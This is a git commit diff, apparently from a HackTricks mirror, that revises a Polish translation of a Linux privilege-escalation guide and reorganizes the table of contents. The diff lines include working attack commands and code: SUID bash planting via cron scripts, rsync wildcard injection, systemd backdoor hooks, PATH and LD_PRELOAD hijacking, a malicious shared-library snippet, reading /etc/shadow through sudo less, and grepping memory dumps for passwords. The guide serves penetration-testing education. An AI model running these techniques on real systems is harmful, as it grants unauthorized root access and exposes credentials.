mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/README.md'] to pl
This commit is contained in:
parent
7cbc1e38b2
commit
018a988a87
@ -793,6 +793,29 @@
|
||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
- [AI Security Methodology](AI/AI-Deep-Learning.md)
|
||||
- [AI MCP Security](AI/AI-MCP-Servers.md)
|
||||
- [AI Model Data Preparation](AI/AI-Model-Data-Preparation-and-Evaluation.md)
|
||||
- [AI Models RCE](AI/AI-Models-RCE.md)
|
||||
- [AI Prompts](AI/AI-Prompts.md)
|
||||
- [AI Risk Frameworks](AI/AI-Risk-Frameworks.md)
|
||||
- [AI Supervised Learning Algorithms](AI/AI-Supervised-Learning-Algorithms.md)
|
||||
- [AI Unsupervised Learning Algorithms](AI/AI-Unsupervised-Learning-algorithms.md)
|
||||
- [AI Reinforcement Learning Algorithms](AI/AI-Reinforcement-Learning-Algorithms.md)
|
||||
- [LLM Training](AI/AI-llm-architecture/README.md)
|
||||
- [0. Basic LLM Concepts](AI/AI-llm-architecture/0.-basic-llm-concepts.md)
|
||||
- [1. Tokenizing](AI/AI-llm-architecture/1.-tokenizing.md)
|
||||
- [2. Data Sampling](AI/AI-llm-architecture/2.-data-sampling.md)
|
||||
- [3. Token Embeddings](AI/AI-llm-architecture/3.-token-embeddings.md)
|
||||
- [4. Attention Mechanisms](AI/AI-llm-architecture/4.-attention-mechanisms.md)
|
||||
- [5. LLM Architecture](AI/AI-llm-architecture/5.-llm-architecture.md)
|
||||
- [6. Pre-training & Loading models](AI/AI-llm-architecture/6.-pre-training-and-loading-models.md)
|
||||
- [7.0. LoRA Improvements in fine-tuning](AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md)
|
||||
- [7.1. Fine-Tuning for Classification](AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md)
|
||||
- [7.2. Fine-Tuning to follow instructions](AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md)
|
||||
|
||||
# 🔩 Reversing
|
||||
|
||||
- [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
|
||||
@ -850,17 +873,6 @@
|
||||
- [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md)
|
||||
- [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
|
||||
- [Test LLMs](todo/test-llms.md)
|
||||
- [LLM Training](todo/llm-training-data-preparation/README.md)
|
||||
- [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md)
|
||||
- [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md)
|
||||
- [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md)
|
||||
- [3. Token Embeddings](todo/llm-training-data-preparation/3.-token-embeddings.md)
|
||||
- [4. Attention Mechanisms](todo/llm-training-data-preparation/4.-attention-mechanisms.md)
|
||||
- [5. LLM Architecture](todo/llm-training-data-preparation/5.-llm-architecture.md)
|
||||
- [6. Pre-training & Loading models](todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md)
|
||||
- [7.0. LoRA Improvements in fine-tuning](todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md)
|
||||
- [7.1. Fine-Tuning for Classification](todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md)
|
||||
- [7.2. Fine-Tuning to follow instructions](todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md)
|
||||
- [Burp Suite](todo/burp-suite.md)
|
||||
- [Other Web Tricks](todo/other-web-tricks.md)
|
||||
- [Interesting HTTP$$external:todo/interesting-http.md$$]()
|
||||
|
@ -26,13 +26,13 @@ Interesujące informacje, hasła lub klucze API w zmiennych środowiskowych?
|
||||
```
|
||||
### Eksploity jądra
|
||||
|
||||
Sprawdź wersję jądra i czy istnieje jakiś eksploity, które można wykorzystać do eskalacji uprawnień.
|
||||
Sprawdź wersję jądra i czy istnieje jakiś eksploitat, który można wykorzystać do eskalacji uprawnień.
|
||||
```bash
|
||||
cat /proc/version
|
||||
uname -a
|
||||
searchsploit "Linux Kernel"
|
||||
```
|
||||
Możesz znaleźć dobrą listę podatnych jąder i kilka już **skompilowanych exploitów** tutaj: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) oraz [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
|
||||
Możesz znaleźć dobrą listę podatnych jąder oraz kilka już **skompilowanych exploitów** tutaj: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) oraz [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
|
||||
Inne strony, na których możesz znaleźć kilka **skompilowanych exploitów**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
|
||||
|
||||
Aby wyodrębnić wszystkie podatne wersje jądra z tej strony, możesz zrobić:
|
||||
@ -43,9 +43,9 @@ Narzędzia, które mogą pomóc w wyszukiwaniu exploitów jądra to:
|
||||
|
||||
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (wykonaj W ofierze, sprawdza tylko exploity dla jądra 2.x)
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (wykonaj W OFIERZE, sprawdza tylko exploity dla jądra 2.x)
|
||||
|
||||
Zawsze **wyszukuj wersję jądra w Google**, może twoja wersja jądra jest opisana w jakimś exploicie jądra, a wtedy będziesz pewien, że ten exploit jest ważny.
|
||||
Zawsze **wyszukuj wersję jądra w Google**, może twoja wersja jądra jest opisana w jakimś exploicie jądra i wtedy będziesz pewien, że ten exploit jest ważny.
|
||||
|
||||
### CVE-2016-5195 (DirtyCow)
|
||||
|
||||
@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null
|
||||
```
|
||||
## Docker Breakout
|
||||
|
||||
Jeśli jesteś wewnątrz kontenera docker, możesz spróbować się z niego wydostać:
|
||||
Jeśli jesteś wewnątrz kontenera docker, możesz spróbować z niego uciec:
|
||||
|
||||
{{#ref}}
|
||||
docker-security/
|
||||
@ -144,7 +144,7 @@ Wymień przydatne binaria
|
||||
```bash
|
||||
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
|
||||
```
|
||||
Sprawdź, czy **jakikolwiek kompilator jest zainstalowany**. Jest to przydatne, jeśli musisz użyć jakiegoś exploit'a jądra, ponieważ zaleca się skompilowanie go na maszynie, na której zamierzasz go użyć (lub na podobnej).
|
||||
Sprawdź, czy **jakikolwiek kompilator jest zainstalowany**. Jest to przydatne, jeśli musisz użyć jakiegoś exploit'a jądra, ponieważ zaleca się skompilowanie go na maszynie, na której zamierzasz go używać (lub na podobnej).
|
||||
```bash
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||||
```
|
||||
@ -162,14 +162,14 @@ Jeśli masz dostęp SSH do maszyny, możesz również użyć **openVAS**, aby sp
|
||||
|
||||
## Procesy
|
||||
|
||||
Sprawdź **jakie procesy** są wykonywane i sprawdź, czy którykolwiek proces ma **więcej uprawnień niż powinien** (może tomcat uruchamiany przez root?).
|
||||
Sprawdź **jakie procesy** są wykonywane i sprawdź, czy którykolwiek proces ma **więcej uprawnień niż powinien** (może tomcat uruchamiany przez root?)
|
||||
```bash
|
||||
ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Zawsze sprawdzaj, czy działają możliwe [**debuggery electron/cef/chromium**; możesz je wykorzystać do eskalacji uprawnień](electron-cef-chromium-debugger-abuse.md). **Linpeas** wykrywa je, sprawdzając parametr `--inspect` w wierszu poleceń procesu.\
|
||||
Również **sprawdź swoje uprawnienia do binariów procesów**, może uda ci się nadpisać kogoś.
|
||||
Również **sprawdź swoje uprawnienia do binarnych plików procesów**, może uda ci się nadpisać kogoś.
|
||||
|
||||
### Monitorowanie procesów
|
||||
|
||||
@ -182,7 +182,7 @@ Zazwyczaj będziesz potrzebować **uprawnień roota**, aby odczytać pamięć pr
|
||||
Jednak pamiętaj, że **jako zwykły użytkownik możesz odczytać pamięć procesów, które posiadasz**.
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że obecnie większość maszyn **domyślnie nie zezwala na ptrace**, co oznacza, że nie możesz zrzucać innych procesów, które należą do twojego nieuprzywilejowanego użytkownika.
|
||||
> Zauważ, że obecnie większość maszyn **domyślnie nie pozwala na ptrace**, co oznacza, że nie możesz zrzucać innych procesów, które należą do twojego nieuprzywilejowanego użytkownika.
|
||||
>
|
||||
> Plik _**/proc/sys/kernel/yama/ptrace_scope**_ kontroluje dostępność ptrace:
|
||||
>
|
||||
@ -269,7 +269,7 @@ Press Ctrl-C to end monitoring without terminating the process.
|
||||
Aby zrzucić pamięć procesu, możesz użyć:
|
||||
|
||||
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania dotyczące roota i zrzucić proces, który należy do Ciebie
|
||||
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania dotyczące roota i zrzucić proces, który jest przez Ciebie posiadany
|
||||
- Skrypt A.5 z [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany root)
|
||||
|
||||
### Poświadczenia z pamięci procesu
|
||||
@ -281,7 +281,7 @@ Jeśli znajdziesz, że proces uwierzytelniający jest uruchomiony:
|
||||
ps -ef | grep "authenticator"
|
||||
root 2027 2025 0 11:46 ? 00:00:00 authenticator
|
||||
```
|
||||
Możesz zrzucić proces (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby na zrzucenie pamięci procesu) i przeszukać pamięć w poszukiwaniu poświadczeń:
|
||||
Możesz zrzucić proces (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby zrzucania pamięci procesu) i wyszukać poświadczenia wewnątrz pamięci:
|
||||
```bash
|
||||
./dump-memory.sh 2027
|
||||
strings *.dump | grep -i password
|
||||
@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
|
||||
```
|
||||
## Zaplanowane/zadania Cron
|
||||
|
||||
Sprawdź, czy jakiekolwiek zaplanowane zadanie jest podatne. Może uda ci się skorzystać ze skryptu uruchamianego przez roota (vuln z użyciem symboli wieloznacznych? można modyfikować pliki używane przez roota? użyj symlinków? utwórz konkretne pliki w katalogu, który używa root?).
|
||||
Sprawdź, czy jakiekolwiek zaplanowane zadanie jest podatne. Może uda ci się skorzystać z skryptu uruchamianego przez roota (vuln z użyciem symboli wieloznacznych? można modyfikować pliki używane przez roota? użyj symlinków? utwórz konkretne pliki w katalogu, który używa root?).
|
||||
```bash
|
||||
crontab -l
|
||||
ls -al /etc/cron* /etc/at*
|
||||
@ -342,7 +342,7 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys
|
||||
```
|
||||
**Jeśli znak wieloznaczny jest poprzedzony ścieżką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).**
|
||||
|
||||
Przeczytaj następującą stronę, aby uzyskać więcej sztuczek związanych z wykorzystaniem znaków wieloznacznych:
|
||||
Przeczytaj następującą stronę, aby poznać więcej sztuczek związanych z wykorzystaniem znaków wieloznacznych:
|
||||
|
||||
{{#ref}}
|
||||
wildcards-spare-tricks.md
|
||||
@ -350,7 +350,7 @@ wildcards-spare-tricks.md
|
||||
|
||||
### Nadpisywanie skryptu Cron i symlink
|
||||
|
||||
Jeśli **możesz modyfikować skrypt cron** wykonywany przez root, możesz bardzo łatwo uzyskać powłokę:
|
||||
Jeśli **możesz modyfikować skrypt cron** wykonywany przez roota, możesz bardzo łatwo uzyskać powłokę:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||
#Wait until it is executed
|
||||
@ -364,7 +364,7 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
|
||||
Możesz monitorować procesy, aby wyszukiwać procesy, które są wykonywane co 1, 2 lub 5 minut. Może uda ci się to wykorzystać i podnieść uprawnienia.
|
||||
|
||||
Na przykład, aby **monitorować co 0.1s przez 1 minutę**, **posortować według mniej wykonywanych poleceń** i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić:
|
||||
Na przykład, aby **monitorować co 0,1s przez 1 minutę**, **posortować według mniej wykonywanych poleceń** i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić:
|
||||
```bash
|
||||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
||||
```
|
||||
@ -385,7 +385,7 @@ Na przykład stwórz swoją tylną furtkę wewnątrz pliku .service z **`ExecSta
|
||||
|
||||
### Zapisane binaria usług
|
||||
|
||||
Pamiętaj, że jeśli masz **uprawnienia do zapisu w binariach wykonywanych przez usługi**, możesz je zmienić na tylne furtki, aby gdy usługi zostaną ponownie uruchomione, tylne furtki będą wykonywane.
|
||||
Pamiętaj, że jeśli masz **uprawnienia do zapisu w binariach wykonywanych przez usługi**, możesz je zmienić na tylne furtki, aby gdy usługi zostaną ponownie uruchomione, tylne furtki zostały wykonane.
|
||||
|
||||
### systemd PATH - Ścieżki względne
|
||||
|
||||
@ -393,7 +393,7 @@ Możesz zobaczyć PATH używaną przez **systemd** za pomocą:
|
||||
```bash
|
||||
systemctl show-environment
|
||||
```
|
||||
Jeśli odkryjesz, że możesz **zapisywać** w dowolnym z folderów ścieżki, możesz być w stanie **eskalować uprawnienia**. Musisz poszukać **ścieżek względnych używanych w plikach konfiguracji usług** takich jak:
|
||||
Jeśli odkryjesz, że możesz **zapisywać** w którymkolwiek z folderów ścieżki, możesz być w stanie **eskalować uprawnienia**. Musisz poszukać **ścieżek względnych używanych w plikach konfiguracji usług** takich jak:
|
||||
```bash
|
||||
ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
@ -413,7 +413,7 @@ systemctl list-timers --all
|
||||
```
|
||||
### Writable timers
|
||||
|
||||
Jeśli możesz modyfikować timer, możesz sprawić, że wykona on niektóre instancje systemd.unit (takie jak `.service` lub `.target`)
|
||||
Jeśli możesz modyfikować timer, możesz sprawić, że wykona on niektóre jednostki systemd (takie jak `.service` lub `.target`)
|
||||
```bash
|
||||
Unit=backdoor.service
|
||||
```
|
||||
@ -445,20 +445,20 @@ Sockets można konfigurować za pomocą plików `.socket`.
|
||||
|
||||
**Dowiedz się więcej o socketach za pomocą `man systemd.socket`.** W tym pliku można skonfigurować kilka interesujących parametrów:
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje są różne, ale podsumowanie jest używane do **określenia, gdzie będzie nasłuchiwać** na socket (ścieżka pliku socketu AF_UNIX, IPv4/6 i/lub numer portu do nasłuchu itp.)
|
||||
- `Accept`: Przyjmuje argument boolean. Jeśli **prawda**, **instancja usługi jest uruchamiana dla każdego przychodzącego połączenia** i tylko socket połączenia jest do niej przekazywany. Jeśli **fałsz**, wszystkie nasłuchujące sockety są **przekazywane do uruchomionej jednostki usługi**, a tylko jedna jednostka usługi jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla socketów datagramowych i FIFO, gdzie jedna jednostka usługi bezwarunkowo obsługuje cały przychodzący ruch. **Domyślnie fałsz**. Z powodów wydajnościowych zaleca się pisanie nowych demonów tylko w sposób odpowiedni dla `Accept=no`.
|
||||
- `ExecStartPre`, `ExecStartPost`: Przyjmuje jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** tym, jak nasłuchujące **sockets**/FIFO są **tworzone** i związane, odpowiednio. Pierwszy token linii poleceń musi być absolutną nazwą pliku, a następnie argumenty dla procesu.
|
||||
- `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** tym, jak nasłuchujące **sockets**/FIFO są **zamykane** i usuwane, odpowiednio.
|
||||
- `Service`: Określa nazwę jednostki **usługi**, **którą należy aktywować** przy **przychodzącym ruchu**. Ustawienie to jest dozwolone tylko dla socketów z Accept=no. Domyślnie jest to usługa, która nosi tę samą nazwę co socket (z zastąpionym sufiksem). W większości przypadków nie powinno być konieczne korzystanie z tej opcji.
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje są różne, ale używa się podsumowania, aby **wskazać, gdzie będzie nasłuchiwać** na socket (ścieżka pliku socket AF_UNIX, IPv4/6 i/lub numer portu do nasłuchu itp.)
|
||||
- `Accept`: Przyjmuje argument boolean. Jeśli **prawda**, **instancja usługi jest uruchamiana dla każdego przychodzącego połączenia** i tylko socket połączenia jest do niej przekazywany. Jeśli **fałsz**, wszystkie nasłuchujące sockety są **przekazywane do uruchomionej jednostki usługi**, a tylko jedna jednostka usługi jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla socketów datagramowych i FIFO, gdzie jedna jednostka usługi bezwarunkowo obsługuje cały przychodzący ruch. **Domyślnie fałsz**. Z powodów wydajnościowych zaleca się pisanie nowych demonów w sposób odpowiedni dla `Accept=no`.
|
||||
- `ExecStartPre`, `ExecStartPost`: Przyjmuje jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** utworzeniu i powiązaniu nasłuchujących **socketów**/FIFO, odpowiednio. Pierwszy token linii poleceń musi być absolutną nazwą pliku, a następnie muszą być podane argumenty dla procesu.
|
||||
- `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** zamknięciu i usunięciu nasłuchujących **socketów**/FIFO, odpowiednio.
|
||||
- `Service`: Określa nazwę jednostki **usługi**, **którą należy aktywować** przy **przychodzącym ruchu**. Ustawienie to jest dozwolone tylko dla socketów z Accept=no. Domyślnie jest to usługa, która nosi tę samą nazwę co socket (z zastąpionym sufiksem). W większości przypadków nie powinno być konieczne używanie tej opcji.
|
||||
|
||||
### Writable .socket files
|
||||
|
||||
Jeśli znajdziesz **writable** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś takiego: `ExecStartPre=/home/kali/sys/backdoor`, a backdoor zostanie wykonany przed utworzeniem socketu. Dlatego prawdopodobnie będziesz **musiał poczekać, aż maszyna zostanie uruchomiona ponownie.**\
|
||||
_Należy pamiętać, że system musi korzystać z tej konfiguracji pliku socket, w przeciwnym razie backdoor nie zostanie wykonany._
|
||||
Jeśli znajdziesz **writable** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś takiego: `ExecStartPre=/home/kali/sys/backdoor`, a backdoor zostanie uruchomiony przed utworzeniem socketu. Dlatego **prawdopodobnie będziesz musiał poczekać, aż maszyna zostanie uruchomiona ponownie.**\
|
||||
_Note, że system musi korzystać z tej konfiguracji pliku socket, w przeciwnym razie backdoor nie zostanie uruchomiony_
|
||||
|
||||
### Writable sockets
|
||||
|
||||
Jeśli **zidentyfikujesz jakikolwiek writable socket** (_teraz mówimy o Unix Sockets, a nie o plikach konfiguracyjnych `.socket`_), to **możesz komunikować się** z tym socketem i być może wykorzystać lukę.
|
||||
Jeśli **zidentyfikujesz jakikolwiek writable socket** (_teraz mówimy o Unix Sockets, a nie o plikach konfiguracyjnych `.socket`_), to **możesz komunikować się** z tym socketem i może uda ci się wykorzystać lukę.
|
||||
|
||||
### Enumerate Unix Sockets
|
||||
```bash
|
||||
@ -562,13 +562,13 @@ runc-privilege-escalation.md
|
||||
|
||||
## **D-Bus**
|
||||
|
||||
D-Bus to zaawansowany **system komunikacji międzyprocesowej (IPC)**, który umożliwia aplikacjom efektywne interakcje i wymianę danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidną strukturę dla różnych form komunikacji aplikacji.
|
||||
D-Bus to zaawansowany **system komunikacji międzyprocesowej (IPC)**, który umożliwia aplikacjom efektywne interakcje i wymianę danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidną ramę dla różnych form komunikacji aplikacji.
|
||||
|
||||
System jest wszechstronny, wspierając podstawowe IPC, które poprawia wymianę danych między procesami, przypominające **ulepszone gniazda domeny UNIX**. Ponadto, wspomaga w nadawaniu zdarzeń lub sygnałów, ułatwiając płynne integrowanie komponentów systemu. Na przykład, sygnał od demona Bluetooth o nadchodzącym połączeniu może spowodować, że odtwarzacz muzyki wyciszy dźwięk, poprawiając doświadczenia użytkownika. Dodatkowo, D-Bus wspiera system obiektów zdalnych, upraszczając żądania usług i wywołania metod między aplikacjami, usprawniając procesy, które były tradycyjnie skomplikowane.
|
||||
System jest wszechstronny, wspierając podstawowy IPC, który poprawia wymianę danych między procesami, przypominający **ulepszone gniazda domeny UNIX**. Ponadto, wspomaga w nadawaniu zdarzeń lub sygnałów, ułatwiając płynne integrowanie komponentów systemu. Na przykład, sygnał od demona Bluetooth o nadchodzącym połączeniu może spowodować, że odtwarzacz muzyki wyciszy dźwięk, poprawiając doświadczenia użytkownika. Dodatkowo, D-Bus wspiera system obiektów zdalnych, upraszczając żądania usług i wywołania metod między aplikacjami, usprawniając procesy, które były tradycyjnie skomplikowane.
|
||||
|
||||
D-Bus działa na modelu **zezwolenia/odmowy**, zarządzając uprawnieniami wiadomości (wywołania metod, emisje sygnałów itp.) na podstawie kumulatywnego efektu dopasowanych reguł polityki. Polityki te określają interakcje z magistralą, potencjalnie umożliwiając eskalację uprawnień poprzez wykorzystanie tych uprawnień.
|
||||
|
||||
Przykład takiej polityki w `/etc/dbus-1/system.d/wpa_supplicant.conf` jest podany, szczegółowo opisując uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości z `fi.w1.wpa_supplicant1`.
|
||||
Przykład takiej polityki w `/etc/dbus-1/system.d/wpa_supplicant.conf` jest podany, szczegółowo opisując uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości od `fi.w1.wpa_supplicant1`.
|
||||
|
||||
Polityki bez określonego użytkownika lub grupy mają zastosowanie uniwersalne, podczas gdy polityki kontekstowe "domyślne" mają zastosowanie do wszystkich, które nie są objęte innymi specyficznymi politykami.
|
||||
```xml
|
||||
@ -587,7 +587,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md
|
||||
|
||||
## **Sieć**
|
||||
|
||||
Zawsze warto enumerować sieć i ustalić pozycję maszyny.
|
||||
Zawsze interesujące jest enumerowanie sieci i ustalenie pozycji maszyny.
|
||||
|
||||
### Ogólna enumeracja
|
||||
```bash
|
||||
@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
### Sudo execution bypassing paths
|
||||
|
||||
**Skocz** do przeczytania innych plików lub użyj **symlinków**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||
**Skok** do odczytu innych plików lub użyj **symlinków**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||
```bash
|
||||
sudo less /var/logs/anything
|
||||
less>:e /etc/shadow #Jump to read other files using privileged less
|
||||
@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
|
||||
|
||||
### Komenda Sudo/binary SUID bez ścieżki komendy
|
||||
|
||||
Jeśli **uprawnienie sudo** jest przyznane do pojedynczej komendy **bez określenia ścieżki**: _hacker10 ALL= (root) less_ możesz to wykorzystać, zmieniając zmienną PATH.
|
||||
Jeśli **uprawnienie sudo** jest przyznane do pojedynczej komendy **bez określenia ścieżki**: _hacker10 ALL= (root) less_, możesz to wykorzystać, zmieniając zmienną PATH.
|
||||
```bash
|
||||
export PATH=/tmp:$PATH
|
||||
#Put your backdoor in /tmp and name it "less"
|
||||
@ -780,12 +780,12 @@ Wtedy, gdy wywołasz binarny plik suid, ta funkcja zostanie wykonana
|
||||
|
||||
### LD_PRELOAD & **LD_LIBRARY_PATH**
|
||||
|
||||
Zmienna środowiskowa **LD_PRELOAD** jest używana do określenia jednej lub więcej bibliotek współdzielonych (.so) do załadowania przez loadera przed wszystkimi innymi, w tym standardową biblioteką C (`libc.so`). Proces ten jest znany jako preloading biblioteki.
|
||||
Zmienna środowiskowa **LD_PRELOAD** jest używana do określenia jednej lub więcej bibliotek współdzielonych (.so) do załadowania przez loadera przed wszystkimi innymi, w tym standardową biblioteką C (`libc.so`). Proces ten nazywa się preładowaniem biblioteki.
|
||||
|
||||
Jednakże, aby utrzymać bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, szczególnie w przypadku plików wykonywalnych **suid/sgid**, system egzekwuje pewne warunki:
|
||||
|
||||
- Loader ignoruje **LD_PRELOAD** dla plików wykonywalnych, gdzie rzeczywisty identyfikator użytkownika (_ruid_) nie zgadza się z efektywnym identyfikatorem użytkownika (_euid_).
|
||||
- Dla plików wykonywalnych z suid/sgid, tylko biblioteki w standardowych ścieżkach, które również są suid/sgid, są preładowane.
|
||||
- Loader ignoruje **LD_PRELOAD** dla plików wykonywalnych, w których rzeczywisty identyfikator użytkownika (_ruid_) nie zgadza się z efektywnym identyfikatorem użytkownika (_euid_).
|
||||
- Dla plików wykonywalnych z suid/sgid, preładowane są tylko biblioteki w standardowych ścieżkach, które również są suid/sgid.
|
||||
|
||||
Podniesienie uprawnień może wystąpić, jeśli masz możliwość wykonywania poleceń z `sudo`, a wynik `sudo -l` zawiera stwierdzenie **env_keep+=LD_PRELOAD**. Ta konfiguracja pozwala na utrzymanie zmiennej środowiskowej **LD_PRELOAD** i jej rozpoznawanie nawet podczas uruchamiania poleceń z `sudo`, co potencjalnie prowadzi do wykonania dowolnego kodu z podwyższonymi uprawnieniami.
|
||||
```
|
||||
@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
|
||||
```
|
||||
### SUID Binary – .so injection
|
||||
|
||||
Kiedy napotkasz binarkę z uprawnieniami **SUID**, która wydaje się nietypowa, dobrym zwyczajem jest sprawdzenie, czy poprawnie ładuje pliki **.so**. Można to sprawdzić, uruchamiając następujące polecenie:
|
||||
Kiedy napotkasz binarny plik z uprawnieniami **SUID**, który wydaje się nietypowy, dobrym zwyczajem jest sprawdzenie, czy poprawnie ładuje pliki **.so**. Można to sprawdzić, uruchamiając następujące polecenie:
|
||||
```bash
|
||||
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||||
```
|
||||
@ -871,7 +871,7 @@ something.so => /lib/x86_64-linux-gnu/something.so
|
||||
readelf -d payroll | grep PATH
|
||||
0x000000000000001d (RUNPATH) Library runpath: [/development]
|
||||
```
|
||||
Teraz, gdy znaleźliśmy binarkę SUID ładującą bibliotekę z folderu, w którym możemy pisać, stwórzmy bibliotekę w tym folderze o potrzebnej nazwie:
|
||||
Teraz, gdy znaleźliśmy binarny plik SUID ładujący bibliotekę z folderu, w którym możemy pisać, stwórzmy bibliotekę w tym folderze o potrzebnej nazwie:
|
||||
```c
|
||||
//gcc src.c -fPIC -shared -o /development/libshared.so
|
||||
#include <stdio.h>
|
||||
@ -922,7 +922,7 @@ Wymagania do eskalacji uprawnień:
|
||||
- Już masz powłokę jako użytkownik "_sampleuser_"
|
||||
- "_sampleuser_" **użył `sudo`** do wykonania czegoś w **ostatnich 15 minutach** (domyślnie to czas trwania tokena sudo, który pozwala nam używać `sudo` bez wprowadzania hasła)
|
||||
- `cat /proc/sys/kernel/yama/ptrace_scope` wynosi 0
|
||||
- `gdb` jest dostępny (możesz być w stanie go przesłać)
|
||||
- `gdb` jest dostępny (możesz go przesłać)
|
||||
|
||||
(Możesz tymczasowo włączyć `ptrace_scope` za pomocą `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub na stałe modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`)
|
||||
|
||||
@ -1004,7 +1004,7 @@ sudo ls
|
||||
|
||||
Plik `/etc/ld.so.conf` wskazuje **skąd pochodzą załadowane pliki konfiguracyjne**. Zazwyczaj plik ten zawiera następującą ścieżkę: `include /etc/ld.so.conf.d/*.conf`
|
||||
|
||||
